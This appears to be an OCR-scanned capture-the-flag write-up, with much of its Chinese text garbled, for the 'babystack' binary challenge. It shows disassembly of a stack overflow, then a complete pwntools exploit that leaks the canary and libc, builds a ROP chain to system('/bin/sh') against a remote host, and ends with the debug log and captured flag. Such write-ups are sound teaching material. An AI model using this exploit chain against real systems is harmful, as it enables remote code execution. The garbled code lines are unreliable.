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[*] '/ctf/work/python/pwnl/babystack’

Arch: amd64-64-1ittle
RELRO: Full RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x400000)
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1. Full RELRO GOT# R i
2. Canary found & Z %1t Canary
3. NX REedtaT R LD
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[#] Functions... 0 & @

Function name

[F] _init_proc
[¥] sub_400680
[7] _puts

[F] _write

[F] _strlen

[F] __stack_chk_fail
[¥] _memset
[¥] _read

[7] _setvbuf
[7] _atoi

[7] _exit

[7] start

[F] sub_400750
[¥] sub_400780
[F] sub_4007C0
[¥] sub_4007F0
[¥] sub_4007F7
[¥] sub_400826
[¥] sub_400841
[¥] sub_4008B9
| 7] main

[F] init

(7 fini

[F] _term_proc
[7] puts

[¥7] write

[7] strlen

[F] _stack_chk_fail
[F] memset

[7] read

[7] _libc_start_main
[7] setvbuf

[7] atoi
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Hex View-1
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Structures

0000000000400907 ; } // starts at 4008B9

0000000000400907 sub_4008B9 endp

0000000000400907

0000000000400908

0000000000400908 ; SUBROUTINE
0000000000400908

0000000000400908 ; Attributes: bp-based frame
0000000000400908

0000000000400908 ; int cdecl main(int, char *#*, char #*¥)

0000000000400908 main proc near ; DATA XREF:
0000000000400908

0000000000400908 var_ 94 = dword ptr -94h
0000000000400908 s = byte ptr -90h

0000000000400908 var_8 = gword ptr -8

0000000000400908

0000000000400908 ; _ unwind {

0000000000400908 push rbp

0000000000400909 mov rbp, rsp
000000000040090C sub rsp, 0AOh
0000000000400913 mov rax, fs:28h
000000000040091C mov [rbpt+var 8], rax
0000000000400920 xor eax, eax
0000000000400922 mov rax, cs:stdin
0000000000400929 mov ecx, 0 ;i n
000000000040092E mov edx, 2 ; modes
0000000000400933 mov esi, 0 ; buf
0000000000400938 mov rdi, rax ; stream
000000000040093B call _setvbuf
0000000000400940 mov rax, cs:stdout
0000000000400947 mov ecx, 0 i n
000000000040094C mov edx, 2 ; modes
0000000000400951 mov esi, 0 ; buf
0000000000400956 mov rdi, rax ; stream
0000000000400959 call _setvbuf
000000000040095E mov rax, csi:stderr
0000000000400965 mov ecx, 0 i n
000000000040096A mov edx, 2 ; modes
000000000040096F mov esi, 0 ; buf
0000000000400974 mov rdi, rax ; Stream
0000000000400977 call _setvbuf
000000000040097C lea rax, [rbp+s]
0000000000400983 mov edx, 80h ;i n
0000000000400988 mov esi, 0 H
000000000040098D mov rdi, rax ;s
0000000000400990 call _memset

0000000000400995

0000000000400995 loc_400995: ; CODE XREF:
0000000000400995 mov eax, 0

000000000040099A call sub_4008B9
000000000040099F mov eax, 0

0000000000400924 call sub_400841
00000000004009A9 mov [rbp+var_94], eax
00000000004009AF mov eax, [rbptvar_ 94]
00000000004009B5 cmp eax, 2

00000000004009B8 jz short loc_4009DF
00000000004009BA cmp eax,

00000000004009BD jz short loc_4009F0
00000000004009BF cmp eax, 1

00000000004009C2 jnz short loc_400A06
00000000004009C4 lea rax, [rbp+s]
00000000004009CB mov edx, 100h ; nbytes
00000000004009D0 mov rsi, rax ; buf
00000000004009D3 mov edi, 0 ; fd
00000000004009D8 call _read

00000000004009DD jmp short loc_400Al13
00000000004009DF ;

00000000004009DF

00000000004009DF loc_4009DF: ; CODE XREF:
00000000004009DF lea rax, [rbp+s]
00000000004009E6 mov rdi, rax ; s

start+1bto

main+11745

main+B0t3

Line 21 of 35

00000908 0000000000400908: main (Synchronized with Hex View-1)
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__inte4 _ fastcall main(__int64 al, char **a2, char **a3)
{

int v3; // eax

char s; // [rsp+10h] [rbp-96h]

unsigned _ int64 v6; // [rsp+98h] [rbp-8h]

v6 = _ readfsqword(0x28u);
setvbuf(stdin, eLL, 2, OLL);
setvbuf(stdout, oLL, 2, OLL);
setvbuf(stderr, OLL, 2, OLL);
memset(&s, O, Ox80uLL);
while (1)
{
menu_string();
v3 = get_int();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return OLL;
case 1:
read(0, &s, 0x100ulLL);
break;
default:
puts_wrap("invalid choice");
break;
}
puts_wrap((const char *)&cNull);
}
}

"] ULE BRI R

read(9, &s, 0x100uLl);

BB BRI E SO B

char s; // [rsp+1eh] [rbp-906h]
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1. F B i H i canaryittt 5§
2. FIFtREE H Mlibcitt 58, F T libcHf i€ systemAl/bin/sh
3. It v H fropsE, 4T system('/bin/sh’)

X B354 B = kit H K payload

1. canaryitt £ ffjpayload:



payload = 'A'*(0x90-8)

2. libcitt #& Hypayload:

pop_rdi_ret = 0x400a93

write_got = elf.got['write']

puts_plt = elf.plt['puts']

main_addr = 0x400908

payload = 'A'*(0x90-8) + p64(canary) + 'A'*8 + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt) + p64(main

3. rop#kHiiTsystem('/bin/sh')

payload = 'A'*(0x90-8) + p64(canary) + 'A'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(

pop rdi; retf g4 F LT X T -

root@mypwn:/ctf/work/python/pwnl# ROPgadget --binary babystack --only 'pop|ret' | grep rdi
0x0000000000400a93 : pop rdi ; ret

R#E =1 payload, %5 pythonfAganT:

#!python
#!/usr/bin/env python
#coding:utf8

from pwn import *

context.log level = ‘'debug’

process_name = './babystack’

# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.198.29.45"', 45404)

elf = ELF(process_name)

def get_info():
info = p.recvline()
log.info("info => %s", info)
return info

def store_info(payload):
p.sendlineafter('-------- \n>> ', '1'")
p.sendline(payload)
return get_info()

def print_info():
p.sendlineafter('-------- \n>> ', '2")
return get_info()

def quit_program():
p.sendlineafter('-------- \n>> ', '3")
# return get_info()

maviTand _ TATX/NAn O\



payivau = A "\(YUXvvu-o0)
store_info(payload)

print_info()

canary = u64(p.recvn(7).rjust(8, '\xe0'))
log.info("canary => %#x", canary)

pop_rdi_ret = 0x400a93

write_got = elf.got['write']

puts_plt = elf.plt['puts']

main_addr = 0x400908

payload = 'A'*(0x90-8) + p64(canary) + 'A'*8 + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt) + p64(main
store_info(payload)

quit_program()

write_addr = u64(p.recvn(6).ljust(8, '\x00'))

log.info("write_addr => %#x", write_addr)

from LibcSearcher import *

libc = LibcSearcher('write', write_addr)

libc_base = write_addr - libc.dump('write')

system_addr = libc_base + libc.dump('system")

binsh_addr = libc_base + libc.dump('str_bin_sh')

log.info("system_addr => %#x", system_addr)

log.info("binsh_addr => %#x", binsh_addr)

payload = 'A'*(0x90-8) + p64(canary) + 'A'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(
store_info(payload)

quit_program()

p.interactive()

PATE R

root@mypwn:/ctf/work/python/pwnl# python pwnl.py
[+] Opening connection to 111.198.29.45 on port 45404: Done
[DEBUG] PLT 0x40068c puts

[DEBUG] PLT 0x4006a0 write

[DEBUG] PLT ©0x4006b0 strlen

[DEBUG] PLT 0x4006c0 _ stack chk_fail

[DEBUG] PLT ©x4006d0 memset

[DEBUG] PLT 0x4006e€0 read

[DEBUG] PLT 0x4006f0 setvbuf

[DEBUG] PLT 0x400700 atoi

[DEBUG] PLT 0x400710 exit

[*] '"/ctf/work/python/pwnl/babystack"

Arch: amd64-64-1little

RELRO: Full RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (©x400000)
[DEBUG] Received @x2c bytes:

. \n'

'l.store\n’

'2.print\n’'

'3.quit\n’

. \n"

ey

[DEBUG] Sent ©x2 bytes:



‘I\n"
[DEBUG] Sent ©x89 bytes:

' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[DEBUG] Received 0x1 bytes:

‘“\n'*
[*] info =>
[DEBUG] Received @x2c bytes:

'1.store\n’
'2.print\n’
'3.quit\n’

[DEBUG] Sent ©x2 bytes:
‘2\n"
[DEBUG] Received 0x93 bytes:

00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA|
*

00000080 41 41 41 41 41 41 41 41 ©Qa 0a 64 c5 3 03 b2 6b |AAAA|AAAA|--d- |- k]|
00000090 30 0a 40 le-@|
00000093

[*] info => AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] canary => 0x6bb203f3c5640200
[DEBUG] Received ©@x2e bytes:

“\n'

‘\n'

'l.store\n’
'2.print\n’
'3.quit\n’

'>>
[DEBUG] Sent @x2 bytes:
‘\n"
[DEBUG] Sent 0xb9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA|
o
00000080 41 41 41 41 41 41 41 41 00 @a 64 c5 f3 @3 b2 6b |AAAA|AAAA|--d-|-- K|
00000090 41 41 41 41 41 41 41 41 93 0a 40 00 ©0 00 00 00 |AAAA|AAAA|--@-|----|
000000a@ b Of 60 0@ 00 00 00 00 8C 06 40 00 00 00 00 00 |-- -|----]|--@-|----]
000008bO 08 09 40 08 00 00 00 PO Oa |--@]----]|-
000000b9
[DEBUG] Received ©@x1 bytes:
‘\n'
[*] info =>
[DEBUG] Received @x2c bytes:

'l.store\n’
'2.print\n’'
'3.quit\n’

[DEBUG] Sent ©x2 bytes:
"3\n’
[DEBUG] Received 0x6 bytes:
90000000 bo 22 77 90 2a 7f |- we]*- |
00000006
[*] write_addr => 0x7f2a907722be
[+] ubuntu-xenial-amd64-1ibc6 (id libc6_2.23-Qubuntul®_amd64) be choosed.
[*1 svstem addr => 0x7f2a906c0390



[*] binsh_addr => @x7f2a90807d57
[DEBUG] Received @x2d bytes:

‘\n‘*

'l.store\n’

'2.print\n'’

'3.quit\n’

sy !

[DEBUG] Sent ©x2 bytes:

‘I\n"

[DEBUG] Sent ©xb9 bytes:

00000000
*

00000080
00000090
00000020
000000b0

41 41 41 41

41 41 41 41
41 41 41 41
57 7d 80 90
08 09 40 00

41 41 41 41

41 41 41 41
41 41 41 41
2a 7f 00 00
00 00 00 00

41 41 41 41

00 0a 64 c5
93 @a 40 00
90 03 6¢C 90
Qa

41 41 41 41

f3 83 b2 6b
00 00 00 00
2a 7f 00 00

| AAAA | AAAA | AAAA | AAAA |

|AAAA|AAAA|--d-|---k|
|AAAA|AAAA|--@-|----|
|w}..|*...|..1.|*...|
[--@ |||

000000b9
[DEBUG] Received
“\n'
[*] info =>

[DEBUG] Received

ox1 bytes:

Ox2c bytes:

'1.store\n’
'2.print\n’'
'3.quit\n’

[DEBUG] Sent ©x2
"3\n"

[*] Switching to

$ cat flag

[DEBUG] Sent ©x9
'cat flag\n'

[DEBUG] Received ©@x2d bytes:
'cyberpeace{3901f42fc6a99d86ac8cc6cdaab310e5}\n'

cyberpeace{3901f42fc6a99d86ac8cc6cdaab310e5}

[*] Got EOF while reading in interactive

$

bytes:
interactive mode

bytes:

REK—EEZITJadebugii X, B ETgdbEFAEFRERPHRINEMBATRENEFLRET 2.
A REFRIRIE I, RBUmE X RAmWIE R BT AT AL BRATAE S 5 AR BB i > B — LB Z K
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